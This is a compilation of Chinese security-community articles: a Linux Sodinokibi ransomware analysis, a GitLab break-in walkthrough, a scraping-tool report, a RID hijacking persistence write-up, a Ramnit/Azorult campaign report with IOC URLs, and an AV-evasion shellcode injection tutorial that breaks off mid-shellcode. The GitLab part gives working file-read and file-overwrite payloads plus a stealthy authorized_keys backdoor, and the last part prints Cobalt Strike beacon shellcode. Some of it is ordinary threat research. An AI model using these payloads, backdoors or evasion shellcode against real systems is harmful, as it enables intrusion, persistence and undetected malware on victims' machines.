原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1625020400&ver=3161&signature=eBnoYyG9*2pG0XEgvhSw5RWPWu56JjVqBHcvEjCdICBzUPf5YtIuqEbcbi*KbHXDV8orpx1fjl6HMgwCHyaZsWv5*h*9u1XODMJU5DdDIXA*BFtNu9zk8aoxaj8RnH5e&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1625020400&ver=3161&signature=eBnoYyG9*2pG0XEgvhSw5RWPWu56JjVqBHcvEjCdICBzUPf5YtIuqEbcbi*KbHXDV8orpx1fjl6HMgwCHyaZsWv5*h*9u1XODMJU5DdDIXA*BFtNu9zk8aoxaj8RnH5e&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日，国外安全研究人员爆光了一个Linux平台上疑似Sodinokibi勒索病毒家族最新样本，如下所示：
Sodinokibi(REvil)勒索病毒的详细分析以及资料可以参考笔者之前的一些文章，这款勒索病毒黑客组织此前一直以Windows平台为主要的攻击目标，目前首次发现这款勒索病毒Linux平台上的最新变种样本，未来会不会有相关的安全事件爆发，需要持续关注。
## 分析
笔者从一个恶意软件平台上下载到病毒样本，病毒运行之后，如下所示：
样本的基础结构如下所示：
获取勒索病毒中内置的配置文件信息，如下所示：
可以发现这个配置文件信息内容与此前Sodinokibi勒索病毒的非常相似，获取到的配置信息，如下所示：
生成文件加密后缀名qoxaq，如下所示：
生成勒索提示信息文件内容，如下所示：
调用esxcli命令关闭虚拟机进程，如下所示：
相关的命令行，如下：
esxcli —formatter=csv —format-
param=fields==”WorldID,DisplayName” vm
process list | awk -F “\” _,\”_ “ ‘,27h,’{system(“esxcli vm process kill
—type=force —world-id=” $1)}
遍历目录，加密文件，如下所示：
加密文件的过程，如下所示：
生成的勒索提示信息文件，如下所示：
加密完成之后，生成加密完成提示信息，显示一共有多少个文件被加密了，如下所示：
通过勒索病毒的代码特征和行为特征，国外安全研究人员将这款勒索病毒归因为Sodinokibi勒索病毒的家族，笔者在访问这款勒索病毒解密网站的时候出现在问题，可能是这勒索病毒黑客组织正在维护解密网站服务器的后台。
笔者之前发现DarkSide这款勒索病毒针对Linux平台VMware
ESXI的攻击，最近一款新型的勒索病毒DarkRadiation也是专门针对各种Linux平台进行攻击，笔者后面会给大家进行详细分析介绍，现在Sodinokibi勒索病毒也开始针对Linux平台进行攻击了，可以预测未来可能会有更多的勒索病毒黑客组织将目标转向Linux平台，扩大攻击平台的范围，获取更多的利益。
# 总结
勒索病毒黑客组织一直在更新，从来没有停止过发起新的攻击，寻找新的目标，未来几年勒索攻击仍然是全球最大的安全威胁，笔者总结出一些勒索攻击发展的几个趋势，供大家参考：
(1)”双重”、”三重”勒索模式逐渐变多，也许会有其他更多的模式出现。
(2)定向攻击勒索，采用APT攻击方式，为了利益最大化，会选择性的攻击行业“头部”大企业。
(3)基于RAAS模式的新型勒索病毒组织会越来越多，同时核心运营团队会逐步形成“小圈子”模式，降低风险，黑客团队会向“精英化”团伙运营模式发展。
(4)通过各种不同的恶意软件分发传播勒索病毒的形式会越来越多。
(5)勒索攻击针对的平台会越来越多，未来针对Linux类系统的云计算平台勒索攻击会增多。
(6)勒索攻击的支付方式可能会变化，除了BTC，黑客还会选择各多其他虚拟货币或其他方式支付。
(7)勒索攻击，企业数据是关键，窃取企业的数据，已经成了勒索攻击一个环节。 | 社区文章 |
## 端口扫描
nmap过了一遍，开了三个端口:
80的gitlab
22的SSH
8000的目录遍历
从8000端口的目录遍历获取到gitlab数据库的一个备份文件，很不幸的是这个备份文件是3年前的备份 :)
## 突破点
翻备份文件获取到的信息有如下：
1. 登陆用户名
2. 登陆密码的hash值
3. 一堆提交的log
到这个时候是两个思路:
1. 把gitlab的密码生成方式拿出来，然后弱密码跑一遍
2. 再看看其他的
如果要达成第一条，需要过一下gitlab的密码生成流程，ruby不会，作为最后的方式再说。
## authentication_token
在翻了N个gitlab的漏洞分析之后，在<https://paper.seebug.org/104/>文章里面找到authentication_token可以访问接口，尝试使用数据库里面的token测试成功。
## Getshell
先确定gitlab的版本号：10.7.X
根据版本号在gitlab官方的issue里面翻到两处漏洞。
任意文件读取: <https://gitlab.com/gitlab-org/gitlab-foss/issues/54857>
任意文件写入: <https://gitlab.com/gitlab-org/gitlab-foss/issues/49133>
如果单是GetShell的话，用文件写入把ssh的公钥写到对应的目录，然后ssh登陆就可以了。
但是这样子就会造成两个问题：
1. 对方用户使用git更新代码的时候就GG。
2. 异地登陆SSH服务器会报警。
所以这个作为备用方案尝试。
gitlab的提交更新的时候，是先ssh认证，然后再执行gitlab命令,公钥的位置一般是固定的:`/var/opt/gitlab/.ssh/authorized_keys`，这个可以从gitlab的公钥可以很明显的看出来：
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
所以可以利用任意文件写入漏洞，把这个公钥全部改一遍，流程是这样的：
1. 任意文件读取获取公钥的全部内容
2. 把后门加上去，任意文件写入覆盖公钥，但是必须保证不能影响正常功能，这样用户提交代码之后就会触发后门。
公钥类似这样子：
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
这里的gitlab.sh是用户push或者pull会触发执行，必须gitlab.sh脚本执行没有输出，不能阻塞。
1. 输出会影响正常使用功能
2. 反弹会阻塞正常功能使用
再回头说一下这两个漏洞，测试之前可以用docker本地测一下，docker文件如下：
web:
image: 'gitlab/gitlab-ce:10.7.3-ce.0'
restart: always
hostname: '127.0.0.1'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'
ports:
- '80:80'
- '50443:443'
- '22:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
### docker设置密码
docker启动之后，设置用户的密码：
gitlab-ctl reconfigure
gitlab-ctl restart
重置密码:
root 用户登录服务器,一定要是 root
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save
\l 查看数据库
\dt 查看表
\di 看索引
\c <db> 连接某个db
### Directory traversal with GitignoreTemplate API
检测这个漏洞很简单，POC:
127.0.0.1:5080/api/v4/templates/gitignores/%2e%2e%2fPython%2ea
然后我们拿Token来测试一下任意文件读取:
先建好数据包，然后打包
tar zcf vuln.tar.gz *
为了避免被发现，可以使用api接口来操作:
新建项目:
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import
导入项目(爆绝对路径):
curl --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70/import
删除项目:
curl --request DELETE --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70
任意文件读取
PAYLOAD=$(echo "../../../public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|\.|%2e|g' | sed 's|\/|%2f|g')
curl http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq
注意事项:
1. 如果使用`tar zcf vuln.tar.gz ./*` 会失败
2. uploads目录权限555，防止gitlab删除符号链接
3. project.json为空也是某的问题。
4. 对于没有权限的文件，比如读取/root/.bash_history会出现500的message信息
5. 可以读取多个，但是需要保证每个需要读取的文件有权限。
6. 上传压缩包之后可以删除项目文件，软连接依旧存在
7. 不存在的文件会显示404，二进制文件会显示500的message
### 任意文件覆盖漏洞
影响版本：>= 8.9.0
修复版本：11.0.4, 10.8.6, and 10.7.7
<https://xz.aliyun.com/t/2661>
<https://gitlab.com/gitlab-org/gitlab-foss/issues/49133>
<https://gitlab.com/gitlab-org/gitlab-foss/issues/41757>
建立一个文件名里面有换行符的软连接:
import os
os.symlink("/var/opt/gitlab", ".\nevil")
创建完了之后上传，成功导入项目之后`Remove Project`，此时在gitlab里面会保存这个软连接。然后构造第二个压缩包:
import os
os.makedirs(".\nevil")
创建一个包含换行符的目录，然后在改目录下创建要写入的文件夹以及文件
步骤:
1. 创建完第一个文件夹之后，软连接到根目录
2. 然后使用第二个压缩包把要写入的文件写到对应的目录里面即可，详细的内容可以看chybeta师傅的的复现步骤: <https://xz.aliyun.com/t/2661>
### END:
gitlab备份文件，使用以下命令
sudo gitlab-rake gitlab:backup:create | 社区文章 |
# 热门黑产工具分析03：爬取电商商业数据的蛀虫
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
本次分析的工具是给“无货源商家”做电商选品与盗转商品信息用的工具。
无货源商家，顾名思义，就是不需要自己准备货源的电商商家，货源来自于其他店铺的产品，重新定价后在自己店铺售出，当客户在自己店铺下单时，再利用软件去所对应的店铺下单，然后赚取商品的差价。而选品，指的就是这些无货源商家将从电商平台爬取商品信息罗列起来，挑选合适的商品，选入自己的店铺中。
这个工具一个功能较多的综合化电商选品工具，其中包括爬虫工具、转链工具和上货工具，其中对电商平台影响最大的还是爬虫工具。我们检测到了该工具会爬取包括〇宝、拼〇〇等多家电商平台的商品信息，并涉及到了对应平台返利联盟的返利比例爬取。
根据对该工具的视频教程进行分析，我们可以了解到，该工具爬取的数据包括商品ID、店铺ID、商品标题、商品价格、销量、佣金比例，以及店铺商品数量、销量等信息。
根据关键词库爬取商品信息
利用该工具爬取店铺信息
而伴随着爬取工具的升级，该工具逐渐在版本更新中添加了大量的辅助类工具，如裂变标题生成、同行分析、转链上货一体化操作等，这些新增功能均是基于爬取商品信息后再进行的分析，进一步加大了电商平台的爬虫压力。
同行分析相关功能
众所周知，各大电商平台对价格爬取是有一定的反制措施的，包括但不限于限制单IP、单账号的搜索请求频率。在这个工具中，我们从主界面就可以看到，为了爬取到商品信息，该工具采取了“人海战术”，即利用大量的账号资源与代理IP资源去进行数据“分布式爬取”，将所需的店铺ID、商品ID、标题、价格等数据进行爬取，再整合到一个列表中，从而实现将大量的商品信息爬取到本地。该工具主要爬取的电商平台为〇宝与拼〇〇。
图为爬取拼〇〇商品信息
该工具爬取时会利用软件集成代理IP与事先导入的电商平台账号进行爬取，由于电商平台会对异常行为账号进行行为校验或屏蔽，该工具为了提高爬取的效率，还会对账号登录信息Token的可用性进行检测。
## 工具分析
### 基本信息
### 详细分析
该工具首次发现于2020年5月26日，是一款采用E语言编写，并且使用VMP加壳的工具软件。对该工具进行静态分析，我们可以确认该工具是一款协议工具，通过破解各大电商平台app的业务接口通信协议，向电商的后台服务器发送精心伪造的数据包，从而达到自动爬取商品信息的目的。
相比于模拟按键脚本（触控精灵/按键精灵等），协议工具脱离了设备的限制，黑灰产利用协议工具可以更低成本完成批量化规模化作案，因此危害也更加严重。
以该工具对拼〇〇上的商品信息爬取为例，
工具首先会调用以下接口进行登陆：
hxxps://mms.pin _*_.com/latitude/auth/login
爬取商品信息时所使用到的一些接口:
hxxps://mms.pin _*_.com/venus/api/goods/list
hxxps://pifa.pin _*_.com/pifa/goods/queryGoodsDetail
hxxps://pifa.pin _*_.com/pifa/goods/queryGoodsPropertyInfo
hxxps://youhui.pin _*_.com/network/api/goods/queryByGoodsId
hxxps://mms.pin _*_.com/vodka/v2/mms/query/display/mall/goodsList
hxxps://mms.pin _*_.com/sydney/api/mallScore/queryMallScoreInfo
部分接口请求代码，其中请求头已内置
另外，此工具还用到了打码平台、代理平台来绕过电商平台的反爬虫策略。
该工具使用到的代理平台：
hxxp://www.**daili.cn/
该工具使用到的打码平台：
hxxp://www.**dama.com/
## 总结
爬虫对电商平台的威胁由来已久，针对这种爬取商品价格信息的工具也是层出不穷。虽然各电商已经有相对完善的手段去检测并拦截一些异常的自动化请求，但是来自黑灰产的需求源源不断，自然会出现绕过对应规则的工具，这属于长期的攻防对抗。
面对这种需要长期进行对抗的情况，电商平台的应对方式可以采取灵活多样的识别与拦截手段，从而提升黑灰产自动化工具的作恶成本，从而抑制其对数据的爬取。识别异常爬取行为可以利用IP风险识别、账号异常多地频繁登录、账号登录设备异常、账号搜索行为频率过高等检测手段进行发现与判断，并利用包括但不限于字符验证码、语音验证码等多种验证方式提高黑灰产的绕过成本，在不影响真人用户访问的情况下，对黑产的访问进行拦截。 | 社区文章 |
驻留的艺术在于是否能够成功地利用漏洞。有时候很难维持对特定环境的访问，尤其是在无法在特权用户组中创建或添加用户、复制凭证或哈希、实现`<bind/reverse>
shell`时。本文介绍如何在获取目标的高访问权限后用离散和静默的方法来保持后门可用。
研究人员发现和创建了一个名为RID劫持的后利用技术。
# RID劫持攻击
通过利用系统资源，可以在受害者设备上劫持任意原有的账户（包括500个内置的管理员账户）的RID，并分配到另一个用户账户。攻击可以：
* 将被劫持的账户的权限分配非劫持者的账户，即使被劫持的账户并没有启用。
* 允许用劫持者的账户凭证来认证，并获取被劫持用户的访问权限。
* 以劫持者的身份登陆并以被劫持者的身份在留存事件日志。
研究人员发现之前没有这种技术的记载，因此参考enable_support_account
post开发了Metasploit模块。该模块利用前面提到的漏洞，修改了内置账户`support_388945a0`的安全描述，但仅能工作在XP/2003
Windows系统上。
但rid_hijack模块可以用受害者设备上的任意原有账户自动化攻击，具体见post/windows/manage/rid_hijack。
该模块在Windows受害者设备上建立了meterpreter session，然后创始检查权限并修改与特定账户相关的注册表。下面是对每个参数的简单描述：
* GETSYSTEM: 如果是true，就获取受害者的`SYSTEM`权限；
* GUEST_ACCOUNT: 如果是true，就用受害者的`Guest`账户作为劫持者账户；
* RID: RID会被分配给劫持者账户。该值应该是现有账户所有的，但会被劫持，默认值是`500`。
* USERNAME: 设置后，会查询定义的用户账户，并将其看作是劫持者账户。如果是`GUEST_ACCOUNT`，该参数会被忽略。
* PASSWORD: 设置后，会建立该值和hijacker账户密码的联系。
# 模块测试
该攻击在Windows XP, Windows Server 2003, Windows 8.1和Windows 10上进行了测试。以Windows 8.1
Pro虚拟机作为受害者，其中有一个用户账户`user`，两个内置账户Administrator账户(`Administrador`)和Guest账户
(`Invitado`)。
建立`meterpreter
session`后，运行该模块来劫持RID值为`500`的内置Administrator账号，并将RID值分配给Guest账号。很明显，Guest账号并没有密码，所以需要设置一个密码。
然后就可以以Guest账号和指定的密码登陆设备。
然后就会发现成功地以Guest登陆机器了，还可以执行以下命令：
1. 用`cmd.exe`打开console，可以看到是以Administrator 账号运行的。
2. 研究人员是以Guest账号登陆的，可以运行`whoami`和检查默认路径查看。
3. Guest账号仍然是Guests localgroup（本地组）的成员，可以使攻击静默进行。
4. 可以执行一些特权操作，比如向Windows受保护的文件夹`system32`中写文件。
# 工作原理
因为XP是使用Security Account Manager
(SAM)来保存本地用户和被指账号的安全描述。每个账号都有一个分配的RID值来识别它。与域名控制器不同，Windows工作站和服务器会将部分数据保存在`HKLM\SAM\SAM\Domains\Account\Users
key`中，访问需要SYSTEM权限。
Names子项中含有包括内置账号在内的所有本地用户账号名。这些子项都保存为二进制值，定义了其类型属性，账号的RID是十六进制的`0x1f4 = 500,
0x1f5 = 501`。每个账号的RID和上面的子项都是一一对应的。
从这些子项中，可以找出一些有趣的`REG_BINARY`值，`F和V`。这些值含有与每个账号安全描述相关的重要数据，包括账号RID的副本和是否启用标志。F值是低字节序的，RID值保存在`offset
30h`处，`enabled/disabled flag`在`offset 38h`处。
但是怎么找到这个值呢？在研究了Windows Authentication &
Auhtorization结构后，就可以发现F二进制中保存的RID副本是LSASS和SRM在将`username`翻译为`security
identifier (SID)`时，与MSV1_0.dll通信后，用来生成`primary access token`的。
因为LSASS信任从中获取的信息，因此会根据从SAM提取的安全数据创建`access token`。SAM中提取的安全数据包括`RID
copy`，这也是用来定义登陆用户的安全环境的。
RID劫持包含在特定offset的F值设置RID来覆写一些字节。因为完整性问题，修改会导致Windows在大多数关键操作系统进程中将劫持者账号的误认为是被劫持者的账号，因此就拥有了相应的访问权限。
攻击对系统内置账号和用户创建的用户都有效。
* * *
本文翻译自：<http://csl.com.co/rid-hijacking/> | 社区文章 |
研究人员最近发现一起新的Ramnit攻击活动，主要传播通过web-injects窃取敏感信息的恶意软件。同时，研究人员发现Ramnit背后的攻击者与其他网络犯罪分子合作，使用第三方服务来增加恶意软件的能力，同时传播其他恶意软件。
今年9月1日，研究人员发现了3个新的Ramnit僵尸网络，背后有5个不同的C2服务器。攻击目标主要是加拿大、日本、美国和意大利的银行和零售商。而且，恶意软件背后的威胁单元好像对PornHub用户很感兴趣：
图1: Ramnit web-injects
下表是研究人员发现的僵尸网络和对应的C2以及攻击的目标：
图2: Ramnit僵尸网络和攻击目标
与之前攻击活动相反的是，这次的攻击活动相对比较配合，一个月只感染了16000台计算机。主要的感染向量是Rig和GrandSoft利用工具，也通过Azorult恶意软件进行传播。
图3: Ramnit僵尸网络流行性（2018年9月）
攻击活动中Ramnit样本一个值得注意的细节是有有效的数字签名，而一般网络犯罪分子开发的恶意软件都没有有效的数字签名。
图4: Ramnit样本的数字签名
9月24日，研究人员发现其中一个名为client的僵尸网络开始上传另一个恶意软件来感染PC。由于错误解压上传的样本，导致恶意软件应用尝试失败。9月27日，第二波恶意软件上传来袭，这次应用了一个第三方的payload。为了下载和运行payload，Ramnit感染的机器必须实现恶意软件协议的`getexec`命令：
图5: 下载和运行另一个恶意软件的Ramnit命令
与Black僵尸网络相比，内部协议被用于从相同的C2服务器应用另一个恶意软件，当前活动的HTTP协议和payload被放在另一个服务器上，变成了共享的web主机：
`http://0959tg[.]dagestan[.]su/azde3y7hr839ji.exe`
Ramnit最新版本中分发的恶意软件为Azorult，C2域名为：
`nagoyashi[.]chimkent[.]su`
监控前面的URL发现，提供的样本每隔几个小时就会更新一次，如下所示：
图6: Ramnit2018年9月28日传播的Azorult样本
10月1日开始， URL就不能访问了，代替该url的是一个释放Azorult的URL:
`http://4b053f3c6a98[.]net/azzis9i3uhi.exe`
图7: 下载和运行另一个恶意软件的Ramnit命令
新的下载URL指向的是一个俄罗斯的共享主机服务，研究人员在之前的恶意软件攻击活动中发现过该主机服务提供商的身影。
# Ramnit C2服务器
目前该攻击活动中一共有5个C2服务器：
图8: Ramnit域名和C2服务器
截止目前，Ramnit上传了一系列的标准插件来感染PC。插件有：
• “Cookie Grabber v0.3 (IE Export)”
(SHA256: f022d8d4fd0f102c6af1420a960c50e46338bf199563b2b2ad2799166cde8d04)
• “IE & Chrome & FF injector”
(SHA256: 8b8e00b292d53900b7789cfde4159a3421fa103f907c0da90962e79a9141a6ea)
• “VNC (23 port) x64-x86”
(SHA256: 3007e243adfa318b137994c0782b39981f260b9685910e8c0ff9430b2de802be)
• “Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)”
(SHA256: b5a95a9bf419eab69d24b87ec561c657291d944acead30b25d004842db63338a)
Ramnit的C2服务器9月28日开始传播以下插件：
• “Pony based pwd stealer”
(SHA256:
2994eb28a57e646d91ef96b41d085b56c22c825caeafb17a0e50f570870e4668,
0688ab2ee47f435e1456d2f60a8c9894c1e84023a9e1eafb3eb079f4f426686c,
8cd69ea0fe2e0827374261ce937069895648c9316b3f05cd61165b7088247965)
• “FF&Chrome reinstall x64-x86 [silent]”
(SHA256: 2ee04686b2daa0a2f03f4b05f967d3a8b6bac89eb14f40674a04ef0b6e313f56)
研究人员注意到Ramnit的僵尸网络demetra中使用的是前苏联国家的VPS服务，最主要的是俄罗斯。选择的主机服务提供商都是不需要身份验证和允许匿名支付的。
图9: Ramnit C2服务器的分布
# Web-injects服务
用于通过web-injects手机窃取的数据的网关位于另一个服务器集群。下面是从ewb-injects中提取的网关URL：
• https://ijoljjk.adygeya[.]su/uadmin/gates/log.php
• https://kioxixu.abkhazia[.]su/amzats/gate.php
• https://kioxixu.abkhazia[.]su/jpccgrab/gate.php
• https://net-info[.]info/c/lucifer/us/attadmin/gate.php
访问这些URL可以看到如下面板：
图10: Full Info Grabber登陆
攻击活动中使用的web-injects使用了第三方解决方案来获取用户凭证和账户信息。研究人员发现这些面板是Yummba web
injects服务的一部分，也就是`Full Info Grabber`。
该服务提供允许攻击者将自定义元素插入web页面的攻击，提供了大量的公共注入和自己开发的注入模块。关于该服务的细节可以追溯到俄罗斯论坛exploit.in
2013年的广告：
图11: Yummba web injects广告
攻击活动中使用的web
injects和panels都可以被另一个恶意软件所使用。事实上，kioxixu[.]abkhazia[.]su是之前Osiris/Kronos日本攻击活动中的web-inject C2服务器。
图12: Osiris和Ramnit web-injects gates
# 结论
与之前攻击活动不同的是，Ramnit并不是一个孤立的僵尸网络。它是与网络犯罪服务密切相关的，为攻击活动创建了一个多元的生态系统。为了获得经济利益，Ramnit提供安装其他恶意软件到受感染机器上的能力。同时，使用第三方服务来使恶意软件拥有web-injects能力，并使用利用套件和其他僵尸网络来传播Ramnit恶意软件。
**IOCs**
Azorult Download URLS:
• http://4b053f3c6a98[.]net/azzis9i3uhi.exe
• http://0959tg[.]dagestan[.]su/azde3y7hr839ji.exe
Full Info Grabber gates:
• https://ijoljjk.adygeya[.]su/uadmin/gates/log.php
• https://kioxixu.abkhazia[.]su/amzats/gate.php
• https://kioxixu.abkhazia[.]su/jpccgrab/gate.php
• https://net-info[.]info/c/lucifer/us/attadmin/gate.php
• https://net-info[.]info/c/lucifer/us/ebayadmin/gate.php
• https://net-info[.]info/c/lucifer/us/chaseadmin/gate.php
• https://net-info[.]info/c/lucifer/us/usaaadmin/gate.php
• https://net-info[.]info/c/lucifer/us/samsclubadmin/gate.php
• https://net-info[.]info/c/lucifer/us/ppadmin/gate.php
• https://net-info[.]info/c/lucifer/us/walmartadmin/gate.php
• https://net-info[.]info/c/lucifer/us/neweggadmin/gate.php
• https://net-info[.]info/c/lucifer/us/costcoadmin/gate.php
• https://net-info[.]info/c/lucifer/us/bestbuyadmin/gate.php
• https://net-info[.]info/c/lucifer/us/amzccadvadmin/gate.php
• https://net-info[.]info/c/lucifer/us/appleadmin/gate.php
Pony stealer gate:
• http://net-info.info/c/lucifer/pony/about.php
Configurations:
https://pastebin.com/LT28xUdL
Web-injects:
https://pastebin.com/aMNJQMh9
https://pastebin.com/7B5nDZ70
https://pastebin.com/vTB7y9tX
https://pastebin.com/2v0uTMKJ
**参考链接** ：
<https://research.checkpoint.com/ramnits-network-proxy-servers/>
<https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/>
<http://www.xylibox.com/2014/05/atsengine.html>
<https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/yummba-webinject-tools-threat-advisory.pdf>
<https://research.checkpoint.com/new-ramnit-campaign-spreads-azorult-malware/> | 社区文章 |
# 如何通过内存解码的方式加载CobaltStrike的Beacon马并不被杀软和EDR检测
##### 译文声明
本文是翻译文章，文章原作者 shells，文章来源：shells.systems
原文地址：<https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/>
译文仅供参考，具体内容表达以及含义原文为准。
在过去一周，我做了一些[Win32API](https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list)相关的研究并尝试将其应用到实际的攻击中，在过去我已经做了一些与进程注入相关的[工作](https://github.com/mhaskar/shellcode-process-injection)，但是我一直在寻找更高级的攻击方式，同时希望能在进程注入的方向上更上一层楼。
因此，我尝试使用[C语言来实现](https://github.com/mhaskar/shellcode-process-injection)简单的shellcode注入并给它加上解码功能让其更加的高级。最后，只需要将shellcode以编码方式写入内存，然后在运行时对其进行解码即可。
传统的进程注入技术非常易于使用和实施，您只需要打开所需的进程，在该进程上分配空间，编写您的shellcode然后执行即可。
我们将在这里做几乎相同的事情，但是我将在写入内存之前通过一个简单的python脚本来对shellcode进行编码，接着我们将让C代码在运行时对其进行解码，在分配完所需的空间后将每个字节写入内存。
另外，我将更深入地研究一些WIn32 API，并解释如何在底层执行每个API。
## 进程注入101
如前所述，vanilla进程注射技术将执行以下操作：
1. 打开一个进程并检索该进程的[HANDLE](https://docs.microsoft.com/en-us/windows/win32/sysinfo/handles-and-objects)。
2. 在远程进程中分配空间（检索内存地址）。
3. 将数据（shellcode）写入该进程中。
4. 执行shellcode。
我们可以使用几个Win32 API执行这些步骤：
[OpenProcess（）](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
[VirtualAllocEx（）](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
[WriteProcessMemory（）](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
[CreateRemoteThread（）](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)
在正常情况下，我们会将原始的shellcode直接写入到内存中，但是如果AV /
EDR检测到了Shellcode，它们肯定会发出警报，因此，我们需要对Shellcode进行处理使其在内存中显示为编码的shellcode，然后，我们在内存中对它进行解码来绕过检测。
## Shellcode编码
我们需要对shellcode进行编码，以避免像我之前提到的那样被检测到，要做到这一点，我们需要以可逆的方式修改该shellcode，该方式可用于检索shellcode的原始状态，并且我们可以通过执行一些更改来做到这一点在每个操作码上，例如：
1. 异或
2. 加
3. 减
4. 交换
我选择的操作方式是异或，我将在我的shellcode的每个操作码上使用XOR按位运算。
我使用的shellcode是Cobalt Strike的beacon，shellcode如下：
/* length: 887 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\x